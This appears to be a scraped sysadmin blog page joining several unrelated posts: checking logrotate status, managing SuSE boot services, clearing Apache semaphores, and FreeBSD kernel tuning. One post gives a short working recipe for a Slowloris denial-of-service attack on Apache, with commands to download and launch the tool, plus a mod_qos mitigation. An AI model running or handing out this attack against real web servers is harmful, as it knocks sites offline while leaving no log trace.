If you encounter some issues with just modified or newly added logrorate script to check out the status of last logrorate executing bunch of log-rotate scripts run on Debian  / Ubuntu etc. deb based Linux:

cat /var/lib/logrotate/status

Or on RHEL, Fedora, CentOS Linux


cat /var/lib/logrotate.status

logrotate state -- version 2

 

"/var/log/syslog" 2016-4-9
"/var/log/dpkg.log" 2016-4-1
"/var/log/unattended-upgrades/unattended-upgrades.log" 2012-9-20
"/var/log/unattended-upgrades/unattended-upgrades-shutdown.log" 2013-5-17
"/var/log/apache2/mailadmin.pc-freak.net-access.log" 2012-9-19
"/var/log/snort/portscan.log" 2012-9-12
"/var/log/apt/term.log" 2016-4-1
"/var/log/squid/access.log" 2015-3-21
"/var/log/mysql/mysql-slow.log" 2016-4-9
"/var/log/debug" 2016-4-3
"/var/log/mysql.log" 2016-4-9
"/var/log/squid/store.log" 2015-3-21
"/var/log/apache2/mailadmin.pc-freak.net-error.log" 2012-9-19
"/var/log/daemon.log" 2016-4-3
"/var/log/munin/munin-update.log" 2016-4-9
"/var/log/unattended-upgrades/unattended-upgrades*.log" 2013-5-16
"/var/log/razor-agent.log" 2015-2-19
"/var/log/btmp" 2016-4-1
"/var/log/squid/*.log" 2014-11-24
"/var/log/munin/munin-graph.log" 2016-4-9
"/var/log/mysql/mysql.log" 2012-9-12
"/var/log/munin/munin-html.log" 2016-4-9
"/var/log/clamav/freshclam.log" 2016-4-3
"/var/log/munin/munin-node.log" 2016-1-23
"/var/log/mail.info" 2016-4-3
"/var/log/apache2/other_vhosts_access.log" 2016-4-3
"/var/log/exim4/rejectlog" 2012-9-12
"/var/log/squid/cache.log" 2015-3-21
"/var/log/messages" 2016-4-3
"/var/log/stunnel4/stunnel.log" 2012-9-19
"/var/log/apache2/php_error.log" 2012-10-21
"/var/log/ConsoleKit/history" 2016-4-1
"/var/log/rsnapshot.log" 2013-4-15
"/var/log/iptraf/*.log" 2012-9-12
"/var/log/snort/alert" 2012-10-17
"/var/log/privoxy/logfile" 2016-4-3
"/var/log/auth.log" 2016-4-3
"/var/log/postgresql/postgresql-8.4-main.log" 2012-10-21
"/var/log/apt/history.log" 2016-4-1
"/var/log/pm-powersave.log" 2012-11-1
"/var/log/proftpd/proftpd.log" 2016-4-3
"/var/log/proftpd/xferlog" 2016-4-1
"/var/log/zabbix-agent/zabbix_agentd.log" 2016-3-25
"/var/log/alternatives.log" 2016-4-7
"/var/log/mail.log" 2016-4-3
"/var/log/kern.log" 2016-4-3
"/var/log/privoxy/errorfile" 2013-5-28
"/var/log/aptitude" 2015-5-6
"/var/log/apache2/access.log" 2016-4-3
"/var/log/wtmp" 2016-4-1
"/var/log/pm-suspend.log" 2012-9-20
"/var/log/snort/portscan2.log" 2012-9-12
"/var/log/mail.warn" 2016-4-3
"/var/log/bacula/log" 2013-5-1
"/var/log/lpr.log" 2012-12-12
"/var/log/mail.err" 2016-4-3
"/var/log/tor/log" 2016-4-9
"/var/log/fail2ban.log" 2016-4-3
"/var/log/exim4/paniclog" 2012-9-12
"/var/log/tinyproxy/tinyproxy.log" 2015-3-25
"/var/log/munin/munin-limits.log" 2016-4-9
"/var/log/proftpd/controls.log" 2012-9-19
"/var/log/proftpd/xferreport" 2012-9-19
"/var/spool/qscan/qmail-queue.log" 2013-5-15
"/var/log/user.log" 2016-4-3
"/var/log/apache2/error.log" 2016-4-3
"/var/log/exim4/mainlog" 2012-10-16
"/var/log/privoxy/jarfile" 2013-5-28
"/var/log/cron.log" 2016-4-3
"/var/log/clamav/clamav.log" 2016-4-3

 

The timestamp date next to each of the rotated service log is when the respective log was last rorated

It is also a handy thing to rorate only a certain service log, lets say clamav-server, mysql-server, apache2 and nginx
 


logrorate /etc/logrorate.d/clamav-server
logrorate /etc/logrorate.d/mysql-server
logrotate /etc/logrotate.d/nginx

How to Remove / Add SuSE Linux start service command

Thursday, July 2nd, 2015

Reading Time: 2minutes

opensuse-remove-add-new-service-geeko-suse-linux-mini-logo
If you happen to administer SUSE LINUX Enterprise Server 9 (x86_64) and you need to add or remove already existing /etc/init.d script or custom created Apache / Tomcat .. etc. service and you're already familiar with Fedora's / RHEL chkconfig, then the good news chkconfig is also available on SuSE and you can use in same way chkconfig to start / stop / enable / disable boot time services.

To list all available boot time init.d services use:
 

suse-linux:/etc # chkconfig –list

 

SuSEfirewall2_final       0:off  1:off  2:off  3:off  4:off  5:off  6:off
SuSEfirewall2_init        0:off  1:off  2:off  3:off  4:off  5:off  6:off
SuSEfirewall2_setup       0:off  1:off  2:off  3:off  4:off  5:off  6:off
Tivoli_lcfd1.bkp          0:off  1:off  2:off  3:off  4:off  5:off  6:off
activate_web_all          0:off  1:off  2:off  3:on   4:off  5:on   6:off
alsasound                 0:off  1:off  2:on   3:on   4:off  5:on   6:off
apache2                   0:off  1:off  2:off  3:off  4:off  5:off  6:off
apache2-eis               0:off  1:off  2:off  3:on   4:off  5:off  6:off
atd                       0:off  1:off  2:off  3:off  4:off  5:off  6:off
audit                     0:off  1:off  2:off  3:off  4:off  5:off  6:off
autofs                    0:off  1:off  2:off  3:off  4:off  5:off  6:off
autoyast                  0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.clock                0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.crypto               0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.device-mapper        0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.evms                 0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.idedma               0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.ipconfig             0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.isapnp               0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.klog                 0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.ldconfig             0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.loadmodules          0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.localfs              0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.localnet             0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.lvm                  0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.md                   0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.multipath            0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.proc                 0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.restore_permissions  0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.rootfsck             0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.sched                0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.scpm                 0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.scsidev              0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.shm                  0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.swap                 0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.sysctl               0:off  1:off  2:off  3:off  4:off  5:off  6:off
boot.udev                 0:off  1:off  2:off  3:off  4:off  5:off  6:off
coldplug                  0:off  1:on   2:on   3:on   4:off  5:on   6:off

 

To then stop the service:
 

suse-linux:/etc # chkconfig gtiweb off


If you prefer to do it the SuSE way and learn a bit more on SuSE boot time process check out:

 

suse-linux:/etc # man insserv


Removing already existing SuSE start-up script from init.d start up with insserv is done with:

suse-linux:/etc # cd /etc/init.d/
suse-linux:etc/init.d # insserv -r gtiweb
insserv: script ipmi.hp: service ipmidrv already provided!
insserv: script boot.multipath.2008-10-29: service boot.multipath already provided!


To install a new custom written and placed into /etc/inti.d/ on SuSE's server boot time with insserv:

 

suse-linux:/etc/init.d/ # insserv your_custom_script_name

Apache Denial of Service (DoS) attack with Slowris / Crashing Apache

Monday, February 1st, 2010

Reading Time: < 1minute

slowloris-denial-of-service-apache-logo
A friend of mine pointed me to a nice tool that is able to create a succesful denial of service to
most of the running web servers out there. The tools is called slowris
For any further information there is the following publication on ha.ckers.org about slowris
The original article of the friend of mine is located on his (mpetrov.net) person blog .
Unfortunately the post is in Bulgarian so it’s not a match for English speaking audience.
To launch the attack on Debian Linux all you need is:

# apt-get install libio-all-perl libio-socket-ssl-perl
# wget http://ha.ckers.org/slowloris/slowloris.pl
now issue the attack
# perl slowloris.pl -dns example.com -port 80 -timeout 1 -num 200 -cache

There you go the Apache server is not responding, no-traces of the DoS are left on the server,
the log file is completely clear of records!
;The fix to the attack comes with installing the not so popular Apache module: mod_qos
# cd /tmp/
# wget http://freefr.dl.sourceforge.net/project/mod-qos/mod-qos/9.7/mod_qos-9.7.tar.gz
# tar zxvf mod_qos-9.7.tar.gz
# cd mod_qos-9.7/apache2/
# apxs2 -i -c mod_qos.cThe module is installing to "/usr/lib/apache2/modules"All left is configuring the module
# cd /etc/apache2/mods-available/
#vim qos.load

Add the following in the file:

LoadModule qos_module /usr/lib/apache2/modules/mod_qos.so

Cheers! 🙂
I should express my gratitude to Martin Petrov's blog for the great info.

Apache Webserver: No space left on device: Couldn’t create accept lock /var/lock/apache2/accept.lock – Fix

Wednesday, April 8th, 2015

Reading Time: 4minutes

Apache-http-server-no-space-left-on-device-semaphores-quotes-hard-disk-space-resolve-fix-howto
If out of a sudden your Apache webserver crashes and is refusing to start up by manually trying to restart it through its init script onDebian Linux servers – /etc/init.d/apache2 and RPM based ones: /etc/init.d/httpd

Checking in php_error.log there was no shown errors related to loading PHP modules, however apache's error.log show following errors:

[Wed Apr 08 14:20:14 2015] [error] [client 180.76.5.149] client denied by server configuration: /var/www/sploits/info/trojans_info/tr_data/y3190.html
[Wed Apr 08 14:20:39 2015] [warn] pid file /var/run/apache2.pid overwritten — Unclean shutdown of previous Apache run?
[Wed Apr 08 14:20:39 2015] [emerg] (28)No space left on device: Couldn't create accept lock (/var/lock/apache2/accept.lock.15974) (5)
[Wed Apr 08 14:25:39 2015] [warn] pid file /var/run/apache2.pid overwritten — Unclean shutdown of previous Apache run?
[Wed Apr 08 14:25:39 2015] [emerg] (28)No space left on device: Couldn't create accept lock (/var/lock/apache2/accept.lock.16790) (5)
[Wed Apr 08 14:27:03 2015] [warn] pid file /var/run/apache2.pid overwritten — Unclean shutdown of previous Apache run?
[Wed Apr 08 14:27:03 2015] [emerg] (28)No space left on device: Couldn't create accept lock (/var/lock/apache2/accept.lock.16826) (5)
[Wed Apr 08 14:27:53 2015] [warn] pid file /var/run/apache2.pid overwritten — Unclean shutdown of previous Apache run?
[Wed Apr 08 14:27:53 2015] [emerg] (28)No space left on device: Couldn't create accept lock (/var/lock/apache2/accept.lock.16852) (5)
[Wed Apr 08 14:30:48 2015] [warn] pid file /var/run/apache2.pid overwritten — Unclean shutdown of previous Apache run?
[Wed Apr 08 14:30:48 2015] [emerg] (28)No space left on device: Couldn't create accept lock (/var/lock/apache2/accept.lock.17710) (5)
[Wed Apr 08 14:31:21 2015] [warn] pid file /var/run/apache2.pid overwritten — Unclean shutdown of previous Apache run?
[Wed Apr 08 14:31:21 2015] [emerg] (28)No space left on device: Couldn't create accept lock (/var/lock/apache2/accept.lock.17727) (5)
[Wed Apr 08 14:32:40 2015] [warn] pid file /var/run/apache2.pid overwritten — Unclean shutdown of previous Apache run?
[Wed Apr 08 14:32:40 2015] [emerg] (28)No space left on device: Couldn't create accept lock (/var/lock/apache2/accept.lock.17780) (5)
[Wed Apr 08 14:38:32 2015] [warn] pid file /var/run/apache2.pid overwritten — Unclean shutdown of previous Apache run?

As you can read the most likely reason behind above errors preventing for apache to start is /var/run/apache2.pid  unable to be properly written due to lack of disk space or due to disk quota set for users including for userID with which Apache is running.

First thing I did is of course to see how much free space is on the server:

df -h
Filesystem                     Size  Used Avail Use% Mounted on
/dev/mapper/vg00-rootvol       4.0G  1.7G  2.2G  44% /
udev                           7.8G  204K  7.8G   1% /dev
tmpfs                           24G     0   24G   0% /dev/shm
/dev/sda1                      486M   40M  422M   9% /boot
/dev/mapper/vg00-lv_crashdump 1008M   34M  924M   4% /crashdump
/dev/mapper/vg00-homevol       496M   26M  445M   6% /home
/dev/mapper/vg00-lv_opt         12G  1.4G  9.9G  13% /opt
/dev/mapper/vg00-tmpvol        2.0G   68M  1.9G   4% /tmp
/dev/mapper/vg00-varvol        7.9G  609M  6.9G   8% /var
/dev/mapper/vg00-crashvol      1.9G   35M  1.8G   2% /var/crash
/dev/mapper/vg00-auditvol      124M  5.6M  113M   5% /var/log/audit
/dev/mapper/vg00-webdienste     60G   12G   48G  19% /webservice

 

As visible from above df command output , there is enough disk on HDD, so this is definitely not the issue:

Then I Checked whether there is Quota enabled on the Linux server with repquota command shows there are no quotas enabled:

# repquota / var/
repquota: Mountpoint (or device) / not found or has no quota enabled.
repquota: Mountpoint (or device) /var not found or has no quota enabled.
repquota: Not all specified mountpoints are using quota.

 

So obviously the only few left possible reason for Apache failing to start after invoked via init script is  either due to left tainted semaphores or due to some server hardware  RAM problem / or a dying  hard disk with bad blocks.

So what are Semaphores? Generally speaking Semaphores are apparatus for conveying information by means of visual signals between applications (something like sockets).They're used for communicating between the active processes of a certain application. In the case of Apache, they’re used to communicate between the parent and child processes, hence if Apache can’t properly write and coordinate these things down, then it can’t communicate properly with all of the processes it starts and hence the Main HTTPD process can't spawn probably its childs preventing Webserver to enter "started mode" and write its PID file.

To check general information about system semaphore arrays there is the ipcs -s command, however my experience is that ipcs -a is more useful (because it lists generally all kind of semaphores) including Semaphore Shared Memory Signals which are the most likely to cause you the problem.

ipcs -a

—— Shared Memory Segments ——–
key        shmid      owner      perms      bytes      nattch     status

—— Semaphore Arrays ——–
key        semid      owner      perms      nsems
0x00000000 22970368   www-data   600        1

—— Message Queues ——–
key        msqid      owner      perms      used-bytes   messages

As you see in my case there is a Semaphore Arrays which had to be cleaned to make Apache2 be able to start again.
 

To clean all left semaphores (arrays) preventing Apache from startproperly, use below for one liner bash loop:
 

for i in `ipcs -s | awk '/www-data/ {print $2}'`; do (ipcrm -s $i); done
ipcrm -m 0x63637069


Note that above for loop is specific to Debian on CentOS / Fedora / RHEL and other Linuxes the username with which stucked semaphores might stay will be apache or httpd

Depending on the user with which the Apache Webserver is running, run above loop like so:

For RPM based distros (CentOS / RHEL):

 

for i in `ipcs -s | awk '/apache/ {print $2}'`; do (ipcrm -s $i); done
ipcrm -m 0x63637069


For other distros such as Slackware or FreeBSD or any custom compiled Apache webserver:

for i in `ipcs -s | awk '/httpd/ {print $2}'`; do (ipcrm -s $i); done
ipcrm -m 0x63637069


If there is also Shared Memory Segments you can remove them with ipcrm i.e.:

ipcrm -m 0x63637069


An alternative way to get rid of left uncleaned semaphores is with xargs:
 

ipcs -s | grep nobody | awk ‘ { print $2 } ‘ | xargs ipcrm


Even though this fixes the issue I understood my problems were due to exceeding semaphores, to check default number of set semaphores on Linux Kernel level as well as few Semaphore related values run below sysctl:

sysctl -a | egrep kernel.sem\|kernel.msgmni
kernel.msgmni = 15904

kernel.sem = 250        32000   32      128


As you can see the number of maximum semaphores is quite large so in my case the failure because of left semaphores was most likely due to some kind of Cracker / Automated bot scanner attack or someone trying malicious against the webserver or simply because of some kind of Apache bug or enormous high load the server faced.

Fix “Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.” in FreeBSD

Monday, May 21st, 2012

Reading Time: 2minutes

bsdinstall-newboot-loader-menu-pv_entries_consider_increasing_vm_pmap_shpgrepproc

I'm running FreeBSD with Apache and PHP on it and I got in dmesg (kernel log), following error:

freebsd# dmesg|grep -i vm.pmap.shpgperproc
Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.
Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.
Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.
Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.
Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.

The exact FreeBSD, Apache and php versions I have installed are:
 

freebsd# uname -a ; httpd -V ; php –version
FreeBSD pcfreak 7.2-RELEASE-p4 FreeBSD 7.2-RELEASE-p4 #0: Fri Oct 2 12:21:39 UTC 2009 root@i386-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC i386
Server version: Apache/2.0.64
Server built: Mar 13 2011 23:36:25Server's Module Magic Number: 20050127:14
Server loaded: APR 0.9.19, APR-UTIL 0.9.19
Compiled using: APR 0.9.19, APR-UTIL 0.9.19
Architecture: 32-bit
Server compiled with….
-D APACHE_MPM_DIR="server/mpm/prefork"
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_FLOCK_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D HTTPD_ROOT="/usr/local"
-D SUEXEC_BIN="/usr/local/bin/suexec"
-D DEFAULT_PIDLOG="/var/run/httpd.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_LOCKFILE="/var/run/accept.lock"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="etc/apache2/mime.types"
-D SERVER_CONFIG_FILE="etc/apache2/httpd.conf"
PHP 5.3.5 with Suhosin-Patch (cli) (built: Mar 14 2011 00:29:17)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
with eAccelerator v0.9.6.1, Copyright (c) 2004-2010 eAccelerator, by eAccelerator

After a bunch of research a FreeBSD forums thread , I've found the fix suggested by a guy.

The solution suggested in the forum is to raise up vm.pmap.pv_entry_ma to vm.pmap.pv_entry_max=1743504, however I've noticed this value is read only and cannot be changed on the BSD running kernel;

freebsd# sysctl vm.pmap.pv_entry_max=1743504
sysctl: oid 'vm.pmap.pv_entry_max' is read only

Instead to solve the;

Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.
, I had to add in /boot/loader.conf

vm.pmap.pde.mappings=68
vm.pmap.shpgperproc=500
vm.pmap.pv_entry_max=1743504

Adding this values through /boot/loader.conf set them on kernel boot time. I've seen also in the threads the consider increasing either the vm.pmap.shpgperproc is also encountered on FreeBSD hosts running Squid, Dansguardion and other web proxy softwares on busy hosts.

This problems are not likely to happen for people who are running latest FreeBSD releases (>8.3, 9.x), I've read in same above post in newer BSD kernels the vm.pmap is no longer existing in newer kernels.